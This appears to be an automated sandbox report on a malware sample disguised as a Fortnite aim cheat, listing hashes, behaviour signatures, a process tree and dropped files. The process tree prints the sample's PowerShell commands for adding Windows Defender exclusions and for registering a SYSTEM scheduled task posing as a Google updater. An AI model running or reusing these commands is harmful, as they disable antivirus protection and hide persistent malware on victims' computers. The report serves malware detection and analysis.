Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-08-2024 21:23

General

  • Target

    FortniteSoftAim/FortniteSoftAim.exe

  • Size

    4.5MB

  • MD5

    4c4634a2bc16b0113bfdd25b516aeb04

  • SHA1

    da38205ecf5c411628d0af811ba4ef2d95dca235

  • SHA256

    258e26da26b0a40f83795127541ca0cea7063265cac97fbfb5cac164f4d4335e

  • SHA512

    c5dba985fe3d383c5eb69e8fc3c3c7def62e9245864b5dde0a22be328226e5f65c752dd278a18d2056435722f2a00ee179c6627f145a3b726873309ab059452d

  • SSDEEP

    49152:Cl6RFdAprSXNmaau4aKxYh0miKoRFsC6eeOO4hpvc8ZJE/9TUKpRjcracB1+AspO:+61XN1au4y08o8XdM25VTUK7AP

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3416
      • C:\Users\Admin\AppData\Local\Temp\FortniteSoftAim\FortniteSoftAim.exe
        "C:\Users\Admin\AppData\Local\Temp\FortniteSoftAim\FortniteSoftAim.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#cpwbzlmli#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1428
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
        2⤵
          PID:1448
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#cpwbzlmli#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:208
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe
          2⤵
            PID:4296
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1224

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          4.5MB

          MD5

          4c4634a2bc16b0113bfdd25b516aeb04

          SHA1

          da38205ecf5c411628d0af811ba4ef2d95dca235

          SHA256

          258e26da26b0a40f83795127541ca0cea7063265cac97fbfb5cac164f4d4335e

          SHA512

          c5dba985fe3d383c5eb69e8fc3c3c7def62e9245864b5dde0a22be328226e5f65c752dd278a18d2056435722f2a00ee179c6627f145a3b726873309ab059452d

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqtkp0hw.trb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          4KB

          MD5

          bdb25c22d14ec917e30faf353826c5de

          SHA1

          6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

          SHA256

          e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

          SHA512

          b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

        • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          b42c70c1dbf0d1d477ec86902db9e986

          SHA1

          1d1c0a670748b3d10bee8272e5d67a4fabefd31f

          SHA256

          8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

          SHA512

          57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

        • memory/208-87-0x000002BFF3E80000-0x000002BFF3F35000-memory.dmp

          Filesize

          724KB

        • memory/944-7-0x000001AC64B10000-0x000001AC64B32000-memory.dmp

          Filesize

          136KB

        • memory/944-16-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/944-13-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/944-12-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/944-1-0x00007FFD20353000-0x00007FFD20355000-memory.dmp

          Filesize

          8KB

        • memory/1224-91-0x00007FF7E67B0000-0x00007FF7E6C2E000-memory.dmp

          Filesize

          4.5MB

        • memory/1224-37-0x00007FF7E67B0000-0x00007FF7E6C2E000-memory.dmp

          Filesize

          4.5MB

        • memory/1428-18-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/1428-31-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/1428-33-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/1428-28-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/1428-30-0x00007FFD20350000-0x00007FFD20E11000-memory.dmp

          Filesize

          10.8MB

        • memory/3908-58-0x0000017910430000-0x000001791043A000-memory.dmp

          Filesize

          40KB

        • memory/3908-59-0x000001792AD20000-0x000001792AD3C000-memory.dmp

          Filesize

          112KB

        • memory/3908-60-0x0000017910440000-0x000001791044A000-memory.dmp

          Filesize

          40KB

        • memory/3908-61-0x000001792AD60000-0x000001792AD7A000-memory.dmp

          Filesize

          104KB

        • memory/3908-62-0x0000017910450000-0x0000017910458000-memory.dmp

          Filesize

          32KB

        • memory/3908-63-0x000001792AD40000-0x000001792AD46000-memory.dmp

          Filesize

          24KB

        • memory/3908-64-0x000001792AD50000-0x000001792AD5A000-memory.dmp

          Filesize

          40KB

        • memory/3908-57-0x000001792AB20000-0x000001792ABD5000-memory.dmp

          Filesize

          724KB

        • memory/3908-56-0x0000017910410000-0x000001791042C000-memory.dmp

          Filesize

          112KB

        • memory/3948-35-0x00007FF6E6BA0000-0x00007FF6E701E000-memory.dmp

          Filesize

          4.5MB

        • memory/3948-0-0x00007FF6E6BA0000-0x00007FF6E701E000-memory.dmp

          Filesize

          4.5MB

        • memory/4296-92-0x00007FF6BCE00000-0x00007FF6BCE2A000-memory.dmp

          Filesize

          168KB

        • memory/4296-94-0x00007FF6BCE00000-0x00007FF6BCE2A000-memory.dmp

          Filesize

          168KB